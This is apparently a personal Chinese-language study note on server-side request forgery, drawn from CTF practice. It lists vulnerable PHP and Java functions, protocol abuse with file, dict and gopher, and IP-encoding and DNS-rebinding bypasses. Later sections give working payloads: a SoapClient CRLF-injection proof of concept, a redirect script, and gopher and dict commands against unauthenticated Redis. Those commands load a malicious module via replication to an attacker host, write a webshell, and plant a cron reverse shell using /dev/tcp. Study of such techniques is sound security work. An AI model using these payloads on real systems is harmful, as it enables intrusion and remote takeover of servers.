摘要:SSRF的一些个人笔记,记录简略,仅供参考。
什么是SSRF
全称为服务端请求伪造(Server-Side Request Forgery)。
原理:攻击者通过控制一台服务端的受害机从而对本不可访问的资源进行访问或操作。
危害/利用方式:
- file协议读取文件
- 内网信息搜集(内网主机、端口、服务banner信息、应用指纹等的探测)
- 攻击内网应用
- 进行跳板攻击
容易出现SSRF漏洞的地方:
- 社交分享功能:获取超链接的标题等内容进行显示
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:给网址翻译对应网页的内容
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
- 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
- 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
- 数据库内置功能:数据库的比如mongodb的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
- 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
- 从远程服务器请求资源
PHP中相关函数
1 2 3 4 5 6
| file_get_contents(); readfile(); fsockopen(); curl_exec(); fopen(); PHP原生类SoapClient
|
1 2 3 4 5 6 7 8 9 10
| <?php
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch); curl_close($ch); ?>
|
关于SOAP SSRF:
1 2 3 4 5 6 7 8 9 10 11 12
| public SoapClient::SoapClient ( mixed $wsdl [, array $options ] ) 第一个参数是用来指明是否是wsdl模式 如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求
如果第一个参数为null,则第二个参数必须设置location和uri 其中location是将请求发送到的SOAP服务器的URL uri是SOAP服务的目标名称空间
第二个参数允许设置user_agent选项来设置请求的user-agent头 location影响最终的请求host和path 可以在user_agent和uri处实现CRLF注入
|
通过SOAP实现CRLF注入(以下代码为CTFshow Web259的PoC):
1 2 3 4 5 6 7
| <?php
$payload = "token=payload";
$o = new SoapClient(null, array("location"=>"http://127.0.0.1/flag.php","user_agent"=>"test\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload, "uri"=>"test"));
echo urlencode(serialize($o));
|
相关协议
file
协议:在有回显情况下可以进行读取文件
1 2
| ?url=file:/?url=file:///var/www/html/flag.php ?url=file:/?url=file:///etc/passwd
|
http/https
协议:探测内网存活主机
1 2 3 4
| C类:192.168.0.0 - 192.168.255.255 B类:172.16.0.0 - 172.31.255.255 A类:10.0.0.0 - 10.255.255.255 可以使用Burpsuite的Intruder模块进行爆破
|
dict
协议:多用于扫描内网端口和服务信息,也可以用于daredis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| ?url=dict://192.168.52.131:6379/info ?url=dict://192.168.52.131:80/info # 渗透测试常用端口 21 ftp 22 SSH 23 Telnet 80 web 80-89 web 161 SNMP 389 LDAP 443 SSL心脏滴血以及一些web漏洞测试 445 SMB 512,513,514 Rexec 873 Rsync未授权 1025,111 NFS 1433 MSSQL 1521 Oracle:(iSqlPlus Port:5560,7778) 2082/2083 cpanel主机管理系统登陆 (国外用较多) 2222 DA虚拟主机管理系统登陆 (国外用较多) 2601,2604 zebra路由,默认密码zebra 3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 3306 MySQL 3312/3311 kangle主机管理系统登陆 3389 远程桌面 4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 5432 PostgreSQL 5900 vnc 5984 CouchDB http://xxx:5984/_utils/ 6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 6379 redis未授权 7001,7002 WebLogic默认弱口令,反序列 7778 Kloxo主机控制面板登录 8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 8080 tomcat/WDCP主机管理系统,默认弱口令 8080,8089,9090 JBOSS 8083 Vestacp主机管理系统 (国外用较多) 8649 ganglia 8888 amh/LuManager 主机管理系统默认端口 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 10000 Virtualmin/Webmin 服务器虚拟主机管理系统 11211 memcache未授权访问 27017,27018 Mongodb未授权访问 28017 mongodb统计页面 50000 SAP命令执行 50070,50030 hadoop默认端口未授权访问
|
gopher
协议:SSRF中的万精油协议,支持发出GET、POST请求。Gopherus
工具要会使用,反弹shell等。
绕过Tricks
特殊地址绕过:
Mark一个github项目:SSRF-Testing,该项目下ip.py可以生成可用的绕过payload,可以配合burp的intruder模块进行fuzzing
1 2 3 4 5 6 7 8 9 10 11 12
| http://localhost/ # localhost就是代指127.0.0.1 http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1 http://0.0.0.0/ # 0.0.0.0这个IP地址表示整个网络,可以代表本机 ipv4 的所有地址 http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行 http://[::]:80/ # 在liunx下可用,window测试了下不行 http://127。0。0。1/ # 用中文句号绕过 http://①②⑦.⓪.⓪.① http://127.1/ http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1 http://2130706433/ # 十进制绕过 http://0177.0.0.1/ # 八进制绕过 http://0x7f.0.0.1/ # 十六进制绕过
|
302跳转绕过:
https://4m.cn/
http://nip.io/
http://sslip.io/
或者在自己的主机上搭一个重定向服务或者使用.htaccess,上文的github项目中也有提及
1 2 3 4 5 6 7 8
| <?php
$h_p_p = explode("@", $_GET['h']); $host = $h_p_p[0] or '127.0.0.1'; $port = $h_p_p[1] or '80'; $path = $h_p_p[2] or ''; header("Location: http://$host:$port/$path", TRUE, 302); ?>
|
1 2 3 4
| <script language="javascript" type="text/javascript"> window.location.href='https://www.hn13.top/relocation.html'; </script>
|
DNS重绑定绕过
传统的SSRF过滤:
传统SSRF过滤器的方式大致是以下几个步骤:
获取到输入的URL,从该URL中提取host
对该host进行DNS解析,获取到解析的IP
检测该IP是否是合法的,比如是否是私有IP等
如果IP检测为合法的,则进入curl的阶段发包
因此其原理:**是在自己的恶意机上搭建DNS服务器,返回一个TTL为0的外网IP,而后返回内网IP。而由于缓存时间短导致之后被攻击者需要再次请求DNS服务器从而拿到内网IP,这样就绕过了内往IP的限制。
使用上文github项目中的dns.py
1 2 3
| pip install twised python dns.py WhitelistedIP InternalIP Port python dns.py 216.58.214.206 169.254.169.254 53
|
或者这个网站。
Java中的SSRF
相关类
1 2 3 4 5 6
| HttpClient Request (对HttpClient封装后的类) HttpURLConnection URLConnection URL okhttp
|
漏洞代码写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
Request.Get(url).execute()
URL u; int length; byte[] bytes = new byte[1024]; u = new URL(url); inputStream = u.openStream();
String url = "http://127.0.0.1"; CloseableHttpClient client = HttpClients.createDefault(); HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse; try { httpResponse = client.execute(httpGet);
URLConnection urlConnection = url.openConnection(); HttpURLConnection urlConnection = url.openConnection();
|
局限性
原生Java中可以在import sun.net.www.protocol
查看支持的协议:
1
| file ftp mailto http https jar netdoc
|
根据这篇文章测试,协议的限制无法通过跳转绕过。因此得出结论:
Java的SSRF利用方式比较局限
- 利用file协议任意文件读取。
- 利用http协议端口探测
DNS重绑定绕过注意点
关于DNS重绑定,需要注意:由于Java应用默认TTL为10s,因此会导致DNS Rebinding绕过失败。
关于修改Java TTL值的修改方式:
1 2 3
| 1、修改/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/security/java.security(我MAC下的路径)里的networkaddress.cache.negative.ttl=0
2、通过代码进行修改java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
|
一些实际利用
打Redis
Gopher+redis
利用要求:redis可以未授权访问
包括下面的Dict协议,都是利用了redis能够写文件的特性
1、写Webshell
工具:gopher payload构造或者Gopherus
1 2
| python gopherus.py --exploit redis # 而后在命令行中指定写入目录和内容
|
2、计划任务写反弹Shell(系统限制CentOS)
工具:同上
1 2
| python gopherus.py --exploit redis # 而后在命令行中指定接受Shell的主机ip和定时任务的目录
|
3、利用主从复制+Redis外部扩展getshell
主从复制:指将一台Redis服务器的数据复制到其他的Redis服务器,该复制是单向的只能从主到从。
Redis外部扩展:Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
工具:rogueserver+gopher payload构造
原理:设置被攻击机为从机,我方恶意机为主机,通过主从复制同步恶意模块到被攻击机从而实现getshell
Payload(网鼎杯2020 玄武组SSRFme,具体的payload可以使用gopher payload构造工机构造):
1 2 3 4 5 6
| <?php echo urlencode("gopher://0.0.0.0:6379/_auth%20root%0aconfig%20set%20dir%20/tmp/%0aquit"); echo "\n"; echo urlencode("_auth%20root%0aconfig%20set%20dbfilename%20exp.so%0aslaveof%20172.16.169.216%206666%0aquit"); echo "\n"; echo urlencode("_auth%20root%0amodule%20load%20/tmp/exp.so%0asystem.rev%20172.16.169.216%206663%0aquit");
|
实际上执行的redis命令
1 2 3 4 5 6 7 8
| # 设置本地数据库文件为exp.so,并将被攻击机上的redis作为攻击机172.16.169.216上的Redis的从服务器 config set dbfilename exp.so slaveof 172.16.169.216 6666 quit # exp.so中集成好了反弹shell直接执行对应命令即可 module load /tmp/exp.so system.rev 172.16.169.216 6663 quit
|
攻击步骤:
1、在172.16.169.216使用rogueserver假设恶意redis服务作为主服务器
2、通过gopher设置被攻击机数据库文件为exp.so,并将被攻击机上的redis作为攻击机172.16.169.216上的Redis的从服务器
3、nc架设好准备接受反弹shell
4、gopher远程执行反弹shell命令
Dict+redis
原理:dict协议如果发送请求dict://serverip:port/name:data
相当于向服务器的端口请求name data
并在末尾自动补上CRLF
所以常规的写crontab、写Webshell等都可以可以用上,替换成对应格式便可:
1 2 3 4 5
| flushall set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n' config set dir /var/spool/cron/ config set dbfilename root save
|
1 2 3 4 5
| flushall config set dir /tmp config set dbfilename shell.php set 'webshell' '<?php phpinfo();?>' save
|